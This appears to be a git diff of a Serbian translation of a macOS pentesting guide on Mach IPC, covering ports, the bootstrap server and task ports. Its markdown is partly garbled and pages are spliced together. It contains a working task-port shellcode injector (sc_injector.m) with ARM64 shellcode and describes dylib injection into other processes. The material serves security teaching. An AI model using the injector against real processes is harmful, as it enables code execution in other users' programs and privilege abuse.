* **Pravo za slanje**, koje omogućava slanje poruka na port.
|
||||||
|
* Pravo za slanje se može **klonirati** tako da task koji poseduje Pravo za slanje može klonirati pravo i **dodeliti ga trećem tasku**.
|
||||||
|
* **Pravo za jednokratno slanje**, koje omogućava slanje jedne poruke na port i zatim nestaje.
|
||||||
|
* **Pravo za set porta**, koje označava _set portova_ umesto pojedinačnog porta. Izvlačenje poruke iz seta porta izvlači poruku iz jednog od portova koje sadrži. Setovi portova se mogu koristiti za osluškivanje više portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unix-u.
|
||||||
|
* **Mrtvo ime**, koje nije stvarno pravo porta, već samo rezervisano mesto. Kada se port uništi, sva postojeća prava porta na portu postaju mrtva imena.
|
||||||
|
|
||||||
|
**Taskovi mogu preneti SEND prava drugima**, omogućavajući im da pošalju poruke nazad. **SEND prava takođe mogu biti klonirana, tako da task može duplicirati i dati pravo trećem tasku**. Ovo, zajedno sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između taskova.
|
||||||
|
|
||||||
|
### Portovi Fajlova
|
||||||
|
|
||||||
|
Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći Mach prava porta). Moguće je kreirati `fileport` iz datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
||||||
|
|
||||||
|
### Uspostavljanje komunikacije
|
||||||
|
|
||||||
|
#### Koraci:
|
||||||
|
|
||||||
|
Kako je pomenuto, da bi se uspostavio kanal komunikacije, uključen je **bootstrap server** (**launchd** na Mac-u).
|
||||||
|
|
||||||
|
1. Task **A** inicira **novi port**, dobijajući **pravo za prijem** u procesu.
|
||||||
|
2. Task **A**, kao nosilac Prava za prijem, **generiše Pravo za slanje za port**.
|
||||||
|
3. Task **A** uspostavlja **konekciju** sa **bootstrap serverom**, pružajući **servisno ime porta** i **Pravo za slanje** kroz proceduru poznatu kao registracija bootstrap-a.
|
||||||
|
4. Task **B** interaguje sa **bootstrap serverom** da izvrši bootstrap **pretragu za ime servisa**. Ukoliko je uspešno, **server duplira Pravo za slanje** primljeno od Taska A i **prebacuje ga Tasku B**.
|
||||||
|
5. Nakon što dobije Pravo za slanje, Task **B** je sposoban da **formuliše** poruku i pošalje je **Tasku A**.
|
||||||
|
6. Za dvosmernu komunikaciju obično task **B** generiše novi port sa **Pravom za prijem** i **Pravom za slanje**, i daje **Pravo za slanje Tasku A** kako bi mogao slati poruke TASKU B (dvosmerna komunikacija).
|
||||||
|
|
||||||
|
Bootstrap server **ne može autentifikovati** ime servisa koje tvrdi task. Ovo znači da bi **task** potencijalno mogao **predstavljati bilo koji sistemski task**, kao što je lažno **tvrditi ime autorizacionog servisa** a zatim odobravati svaki zahtev.
|
||||||
|
|
||||||
|
Zatim, Apple čuva **imena sistema pruženih servisa** u sigurnim konfiguracionim fajlovima, smeštenim u SIP-zaštićenim direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena servisa, takođe je sačuvana i **povezana binarna datoteka**. Bootstrap server će kreirati i držati **Pravo za prijem za svako od ovih imena servisa**.
|
||||||
|
|
||||||
|
Za ove unapred definisane servise, **proces pretrage se malo razlikuje**. Kada se ime servisa traži, launchd pokreće servis dinamički. Novi tok rada je sledeći:
|
||||||
|
|
||||||
|
* Task **B** inicira bootstrap **pretragu** za imenom servisa.
|
||||||
|
* **launchd** proverava da li je task pokrenut i ako nije, ga **pokreće**.
|
||||||
|
* Task **A** (servis) izvršava **bootstrap check-in**. Ovde, **bootstrap** server kreira Pravo za slanje, zadržava ga, i **prebacuje Pravo za prijem Tasku A**.
|
||||||
|
* launchd duplira **Pravo za slanje i šalje ga Tasku B**.
|
||||||
|
* Task **B** generiše novi port sa **Pravom za prijem** i **Pravom za slanje**, i daje **Pravo za slanje Tasku A** (servisu) kako bi mogao slati poruke TASKU B (dvosmerna komunikacija).
|
||||||
|
|
||||||
|
Međutim, ovaj proces se odnosi samo na unapred definisane sistemski taskove. Ne-sistemski taskovi i dalje funkcionišu kao što je opisano originalno, što potencijalno može omogućiti predstavljanje.
|
||||||
|
|
||||||
|
### Mach Poruka
|
||||||
|
|
||||||
|
[Pronađite više informacija ovde](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||||
|
|
||||||
|
Funkcija `mach_msg`, suštinski sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom `mach_msg_header_t`, praćenom stvarnim sadržajem poruke. Struktura je definisana na sledeći način:
|
||||||
|
|
||||||
|
```c
|
||||||
|
typedef struct {
|
||||||
|
mach_msg_bits_t msgh_bits;
|
||||||
|
mach_msg_size_t msgh_size;
|
||||||
|
mach_port_t msgh_remote_port;
|
||||||
|
mach_port_t msgh_local_port;
|
||||||
|
mach_port_name_t msgh_voucher_port;
|
||||||
|
mach_msg_id_t msgh_id;
|
||||||
|
} mach_msg_header_t;
|
||||||
|
```
|
||||||
|
|
||||||
|
Procesi koji poseduju _**pravo na prijem**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaoci** imaju _**pravo slanja**_ ili _**pravo slanja jednom**_. Pravo slanja jednom je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
||||||
|
|
||||||
|
Da bi postigli jednostavnu **bidirekcionalnu komunikaciju**, proces može odrediti **mach port** u mach **zaglavlju poruke** nazvan _port za odgovor_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na tu poruku. Bitovi u **`msgh_bits`** mogu se koristiti da **pokažu** da bi trebalo izvesti i preneti **pravo slanja jednom** za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Imajte na umu da se ovakva vrsta bidirekcionalne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali se **obično stvaraju različiti portovi** kako je objašnjeno ranije da bi se uspostavila bidirekcionalna komunikacija.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Ostala polja zaglavlja poruke su:
|
||||||
|
|
||||||
|
* `msgh_size`: veličina celog paketa.
|
||||||
|
* `msgh_remote_port`: port na koji je poslata ova poruka.
|
||||||
|
* `msgh_voucher_port`: [mach vaučeri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||||
|
* `msgh_id`: ID ove poruke, koji tumači primalac.
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Imajte na umu da se **mach poruke šalju preko \_mach porta**\_, koji je **kanal komunikacije sa jednim primaocem** i **više pošiljalaca** ugrađen u mach jezgro. **Više procesa** može **slati poruke** na mach port, ali u svakom trenutku samo **jedan proces može čitati** sa njega.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
### Nabrojavanje portova
|
||||||
|
|
||||||
|
```bash
|
||||||
|
lsmp -p <pid>
|
||||||
|
```
|
||||||
|
|
||||||
|
Možete instalirati ovaj alat u iOS preuzimanjem sa [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||||
|
|
||||||
|
### Primer koda
|
||||||
|
|
||||||
|
Obratite pažnju kako **pošiljalac** **dodeljuje** port, kreira **send right** za ime `org.darlinghq.example` i šalje ga **bootstrap serveru** dok je pošiljalac zatražio **send right** za to ime i koristio ga je da **pošalje poruku**.
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||||
|
// gcc receiver.c -o receiver
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
// Create a new port.
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("mach_port_allocate() created port right name %d\n", port);
|
||||||
|
|
||||||
|
|
||||||
|
// Give us a send right to this port, in addition to the receive right.
|
||||||
|
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("mach_port_insert_right() inserted a send right\n");
|
||||||
|
|
||||||
|
|
||||||
|
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||||
|
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("bootstrap_register()'ed our port\n");
|
||||||
|
|
||||||
|
|
||||||
|
// Wait for a message.
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
char some_text[10];
|
||||||
|
int some_number;
|
||||||
|
mach_msg_trailer_t trailer;
|
||||||
|
} message;
|
||||||
|
|
||||||
|
kr = mach_msg(
|
||||||
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||||
|
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||||
|
0, // Size of the message being sent, if sending.
|
||||||
|
sizeof(message), // Size of the buffer for receiving.
|
||||||
|
port, // The port to receive a message on.
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||||
|
);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("Got a message\n");
|
||||||
|
|
||||||
|
message.some_text[9] = 0;
|
||||||
|
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Ovo je primer koda za slanje poruka preko IPC-a na macOS operativnom sistemu. Koristi se funkcija `msgsnd` za slanje poruke na red poruka. Potrebno je prvo dobiti identifikator reda poruka koristeći funkciju `msgget`. Zatim se koristi funkcija `msgsnd` za slanje strukture poruke na red poruka. Na kraju, koristi se funkcija `msgctl` za kontrolu reda poruka. Ovaj kod demonstrira osnovni proces slanja poruka preko IPC-a na macOS-u.
|
||||||
|
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <sys/ipc.h>
|
||||||
|
#include <sys/msg.h>
|
||||||
|
|
||||||
|
struct message {
|
||||||
|
long mtype;
|
||||||
|
char mtext[100];
|
||||||
|
};
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
key_t key;
|
||||||
|
int msgid;
|
||||||
|
struct message msg = {1, "Hello, IPC!"};
|
||||||
|
|
||||||
|
key = ftok("sender.c", 'B');
|
||||||
|
msgid = msgget(key, 0666 | IPC_CREAT);
|
||||||
|
|
||||||
|
msgsnd(msgid, &msg, sizeof(struct message), 0);
|
||||||
|
|
||||||
|
msgctl(msgid, IPC_RMID, NULL);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||||
|
// gcc sender.c -o sender
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
|
||||||
|
// Lookup the receiver port using the bootstrap server.
|
||||||
|
mach_port_t port;
|
||||||
|
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("bootstrap_look_up() returned port right name %d\n", port);
|
||||||
|
|
||||||
|
|
||||||
|
// Construct our message.
|
||||||
|
struct {
|
||||||
|
mach_msg_header_t header;
|
||||||
|
char some_text[10];
|
||||||
|
int some_number;
|
||||||
|
} message;
|
||||||
|
|
||||||
|
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
||||||
|
message.header.msgh_remote_port = port;
|
||||||
|
message.header.msgh_local_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
||||||
|
message.some_number = 35;
|
||||||
|
|
||||||
|
// Send the message.
|
||||||
|
kr = mach_msg(
|
||||||
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||||
|
MACH_SEND_MSG, // Options. We're sending a message.
|
||||||
|
sizeof(message), // Size of the message being sent.
|
||||||
|
0, // Size of the buffer for receiving.
|
||||||
|
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||||
|
);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf("Sent a message\n");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Privilegovani portovi
|
||||||
|
|
||||||
|
* **Host port**: Ako proces ima **Send** privilegiju nad ovim portom, može dobiti **informacije** o **sistemu** (npr. `host_processor_info`).
|
||||||
|
* **Host priv port**: Proces sa **Send** pravom nad ovim portom može izvršiti **privilegovane akcije** poput učitavanja kernel ekstenzija. **Proces mora biti root** da bi dobio ovo ovlašćenje.
|
||||||
|
* Takođe, da bi pozvao **`kext_request`** API, potrebno je imati druge dozvole poput **`com.apple.private.kext*`** koje su dodeljene samo Apple binarnim fajlovima.
|
||||||
|
* **Task name port**: Neprivilegovana verzija _task porta_. Referencira task, ali ne dozvoljava kontrolu nad njim. Jedina stvar koja je dostupna kroz njega je `task_info()`.
|
||||||
|
* **Task port** (poznat i kao kernel port)**:** Sa Send dozvolom nad ovim portom moguće je kontrolisati task (čitanje/pisanje memorije, kreiranje niti...).
|
||||||
|
* Pozovi `mach_task_self()` da **dobiješ ime** za ovaj port za pozivaoca taska. Ovaj port se nasleđuje samo preko **`exec()`**; novi task kreiran sa `fork()` dobija novi task port (kao poseban slučaj, task takođe dobija novi task port nakon `exec()` u suid binarnom fajlu). Jedini način da spawnuješ task i dobiješ njegov port je da izvedeš ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) dok radiš `fork()`.
|
||||||
|
* Ovo su ograničenja za pristup portu (iz `macos_task_policy` iz binarnog fajla `AppleMobileFileIntegrity`):
|
||||||
|
* Ako aplikacija ima **`com.apple.security.get-task-allow` dozvolu**, procesi od **istog korisnika mogu pristupiti task portu** (obično dodato od strane Xcode-a za debugovanje). Proces notarizacije neće dozvoliti ovo za produkcijska izdanja.
|
||||||
|
* Aplikacije sa **`com.apple.system-task-ports` dozvolom** mogu dobiti **task port za bilo** koji proces, osim kernela. U starijim verzijama se nazivalo **`task_for_pid-allow`**. Ovo je dodeljeno samo Apple aplikacijama.
|
||||||
|
* **Root može pristupiti task portovima** aplikacija **koje nisu kompajlirane sa** zaštićenim izvršavanjem (i ne od strane Apple-a).
|
||||||
|
|
||||||
|
### Ubacivanje shell koda u nit putem Task porta
|
||||||
|
|
||||||
|
Možeš dohvatiti shell kod sa:
|
||||||
|
|
||||||
|
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||||
|
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
```objectivec
|
||||||
|
// clang -framework Foundation mysleep.m -o mysleep
|
||||||
|
// codesign --entitlements entitlements.plist -s - mysleep
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
double performMathOperations() {
|
||||||
|
double result = 0;
|
||||||
|
for (int i = 0; i < 10000; i++) {
|
||||||
|
result += sqrt(i) * tan(i) - cos(i);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
@autoreleasepool {
|
||||||
|
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
||||||
|
processIdentifier]);
|
||||||
|
while (true) {
|
||||||
|
[NSThread sleepForTimeInterval:5];
|
||||||
|
|
||||||
|
performMathOperations(); // Silent action
|
||||||
|
|
||||||
|
[NSThread sleepForTimeInterval:5];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### macOS IPC (Inter-Process Communication)
|
||||||
|
|
||||||
|
IPC mechanisms are used by macOS applications to communicate with each other. Understanding how IPC works is crucial for privilege escalation and lateral movement during a security assessment.
|
||||||
|
|
||||||
|
**Mach Messages**
|
||||||
|
|
||||||
|
Mach messages are a low-level IPC mechanism used by macOS. They are sent between tasks and are used for inter-process communication. By analyzing the entitlements.plist file, you can identify which processes are allowed to send and receive Mach messages.
|
||||||
|
|
||||||
|
**XPC Services**
|
||||||
|
|
||||||
|
XPC services are a higher-level IPC mechanism that allows applications to create and manage separate processes. By analyzing the entitlements.plist file, you can determine which XPC services are available and which processes can communicate with them.
|
||||||
|
|
||||||
|
**Distributed Objects**
|
||||||
|
|
||||||
|
Distributed Objects is another IPC mechanism used by macOS applications. By analyzing the entitlements.plist file, you can identify which processes are allowed to use Distributed Objects for inter-process communication.
|
||||||
|
|
||||||
|
Understanding these IPC mechanisms and analyzing the entitlements.plist file can help identify potential security weaknesses and privilege escalation opportunities in macOS applications.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>com.apple.security.get-task-allow</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Kompajlujte** prethodni program i dodajte **ovlašćenja** kako biste mogli da ubacite kod sa istim korisnikom (ako ne, moraćete koristiti **sudo**).
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>sc_injector.m</summary>
|
||||||
|
|
||||||
|
\`\`\`objectivec // gcc -framework Foundation -framework Appkit sc\_injector.m -o sc\_injector
|
||||||
|
|
||||||
|
\#import \<Foundation/Foundation.h> #import \<AppKit/AppKit.h> #include \<mach/mach\_vm.h> #include \<sys/sysctl.h>
|
||||||
|
|
||||||
|
\#ifdef **arm64**
|
||||||
|
|
||||||
|
kern\_return\_t mach\_vm\_allocate ( vm\_map\_t target, mach\_vm\_address\_t \*address, mach\_vm\_size\_t size, int flags );
|
||||||
|
|
||||||
|
kern\_return\_t mach\_vm\_write ( vm\_map\_t target\_task, mach\_vm\_address\_t address, vm\_offset\_t data, mach\_msg\_type\_number\_t dataCnt );
|
||||||
|
|
||||||
|
\#else #include \<mach/mach\_vm.h> #endif
|
||||||
|
|
||||||
|
\#define STACK\_SIZE 65536 #define CODE\_SIZE 128
|
||||||
|
|
||||||
|
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode\[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
||||||
|
|
||||||
|
int inject(pid\_t pid){
|
||||||
|
|
||||||
|
task\_t remoteTask;
|
||||||
|
|
||||||
|
// Get access to the task port of the process we want to inject into kern\_return\_t kr = task\_for\_pid(mach\_task\_self(), pid, \&remoteTask); if (kr != KERN\_SUCCESS) { fprintf (stderr, "Unable to call task\_for\_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
|
||||||
|
|
||||||
|
// Allocate memory for the stack mach\_vm\_address\_t remoteStack64 = (vm\_address\_t) NULL; mach\_vm\_address\_t remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate(remoteTask, \&remoteStack64, STACK\_SIZE, VM\_FLAGS\_ANYWHERE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach\_error\_string(kr)); return (-2); } else {
|
||||||
|
|
||||||
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
|
||||||
|
|
||||||
|
// Allocate memory for the code remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate( remoteTask, \&remoteCode64, CODE\_SIZE, VM\_FLAGS\_ANYWHERE );
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach\_error\_string(kr)); return (-2); }
|
||||||
|
|
||||||
|
// Write the shellcode to the allocated memory kr = mach\_vm\_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm\_address\_t) injectedCode, // Source 0xa9); // Length of the source
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach\_error\_string(kr)); return (-3); }
|
||||||
|
|
||||||
|
// Set the permissions on the allocated code memory kr = vm\_protect(remoteTask, remoteCode64, 0x70, FALSE, VM\_PROT\_READ | VM\_PROT\_EXECUTE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||||
|
|
||||||
|
// Set the permissions on the allocated stack memory kr = vm\_protect(remoteTask, remoteStack64, STACK\_SIZE, TRUE, VM\_PROT\_READ | VM\_PROT\_WRITE);
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach\_error\_string(kr)); return (-4); }
|
||||||
|
|
||||||
|
// Create thread to run shellcode struct arm\_unified\_thread\_state remoteThreadState64; thread\_act\_t remoteThread;
|
||||||
|
|
||||||
|
memset(\&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||||
|
|
||||||
|
remoteStack64 += (STACK\_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
|
||||||
|
|
||||||
|
const char\* p = (const char\*) remoteCode64;
|
||||||
|
|
||||||
|
remoteThreadState64.ash.flavor = ARM\_THREAD\_STATE64; remoteThreadState64.ash.count = ARM\_THREAD\_STATE64\_COUNT; remoteThreadState64.ts\_64.\_\_pc = (u\_int64\_t) remoteCode64; remoteThreadState64.ts\_64.\_\_sp = (u\_int64\_t) remoteStack64;
|
||||||
|
|
||||||
|
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||||
|
|
||||||
|
kr = thread\_create\_running(remoteTask, ARM\_THREAD\_STATE64, // ARM\_THREAD\_STATE64, (thread\_state\_t) \&remoteThreadState64.ts\_64, ARM\_THREAD\_STATE64\_COUNT , \&remoteThread );
|
||||||
|
|
||||||
|
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach\_error\_string (kr)); return (-3); }
|
||||||
|
|
||||||
|
return (0); }
|
||||||
|
|
||||||
|
pid\_t pidForProcessName(NSString \*processName) { NSArray \*arguments = @\[@"pgrep", processName]; NSTask \*task = \[\[NSTask alloc] init]; \[task setLaunchPath:@"/usr/bin/env"]; \[task setArguments:arguments];
|
||||||
|
|
||||||
|
NSPipe \*pipe = \[NSPipe pipe]; \[task setStandardOutput:pipe];
|
||||||
|
|
||||||
|
NSFileHandle \*file = \[pipe fileHandleForReading];
|
||||||
|
|
||||||
|
\[task launch];
|
||||||
|
|
||||||
|
NSData \*data = \[file readDataToEndOfFile]; NSString \*string = \[\[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||||
|
|
||||||
|
return (pid\_t)\[string integerValue]; }
|
||||||
|
|
||||||
|
BOOL isStringNumeric(NSString _str) { NSCharacterSet_ nonNumbers = \[\[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = \[str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
|
||||||
|
|
||||||
|
int main(int argc, const char \* argv\[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv\[0]); return 1; }
|
||||||
|
|
||||||
|
NSString \*arg = \[NSString stringWithUTF8String:argv\[1]]; pid\_t pid;
|
||||||
|
|
||||||
|
if (isStringNumeric(arg)) { pid = \[arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", \[arg UTF8String], pid); } }
|
||||||
|
|
||||||
|
inject(pid); }
|
||||||
|
|
||||||
|
return 0; }
|
||||||
|
|
||||||
|
````
|
||||||
|
</detalji>
|
||||||
|
```bash
|
||||||
|
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||||
|
./inject <pi or string>
|
||||||
|
````
|
||||||
|
|
||||||
|
#### Ubacivanje Dylib-a u nit putem Task porta
|
||||||
|
|
||||||
|
Na macOS-u se **niti** mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` API-ja**. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach API-ja, tako da **nije posix kompatibilna**.
|
||||||
|
|
||||||
|
Bilo je moguće **ubaciti jednostavan shellcode** da izvrši komandu jer **nije bilo potrebno raditi sa posix** kompatibilnim API-jima, već samo sa Mach-om. **Složenije injekcije** bi zahtevale da **nit** takođe bude **posix kompatibilna**.
|
||||||
|
|
||||||
|
Stoga, da bismo **unapredili nit**, trebalo bi da pozovemo **`pthread_create_from_mach_thread`** koji će **kreirati validnu pthread**. Zatim, ova nova pthread bi mogla **pozvati dlopen** da **učita dylib** sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.
|
||||||
|
|
||||||
|
Možete pronaći **primer dylib-ova** u (na primer onaj koji generiše log i zatim možete da ga slušate):
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# macOS MIG - Mach Interfejs Generator
|
# macOS MIG - Mach Interface Generator
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -38,15 +38,15 @@ n2 : uint32_t);
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali Subtract funkciju:
|
Sada koristite mig da generišete server i klijentski kod koji će moći da komuniciraju međusobno kako bi pozvali Subtract funkciju:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
```
|
```
|
||||||
|
|
||||||
Napraviće se nekoliko novih datoteka u trenutnom direktorijumu.
|
Napraviće se nekoliko novih datoteka u trenutnom direktorijumu.
|
||||||
|
|
||||||
U datotekama **`myipcServer.c`** i **`myipcServer.h`** možete pronaći deklaraciju i definiciju strukture **`SERVERPREFmyipc_subsystem`**, koja u osnovi definiše funkciju koja će se pozvati na osnovu primljenog ID-ja poruke (označili smo početni broj 500):
|
U datotekama **`myipcServer.c`** i **`myipcServer.h`** možete pronaći deklaraciju i definiciju strukture **`SERVERPREFmyipc_subsystem`**, koja u osnovi definiše funkciju koja će se pozvati na osnovu primljenog ID-ja poruke (označili smo početni broj 500):
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipcServer.c" %}
|
|
||||||
```c
|
```c
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||||
|
@ -62,15 +62,12 @@ myipc_server_routine,
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipcServer.h" %}
|
#### macOS MIG (Mach Interface Generator)
|
||||||
|
|
||||||
### macOS MIG (Mach Interface Generator)
|
|
||||||
|
|
||||||
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG is commonly used in macOS for system services and kernel extensions.
|
MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for message-based IPC. MIG is commonly used in macOS for system services and kernel extensions.
|
||||||
|
|
||||||
#### Example of a MIG definition file:
|
**Example of a MIG definition file:**
|
||||||
|
|
||||||
```c
|
```c
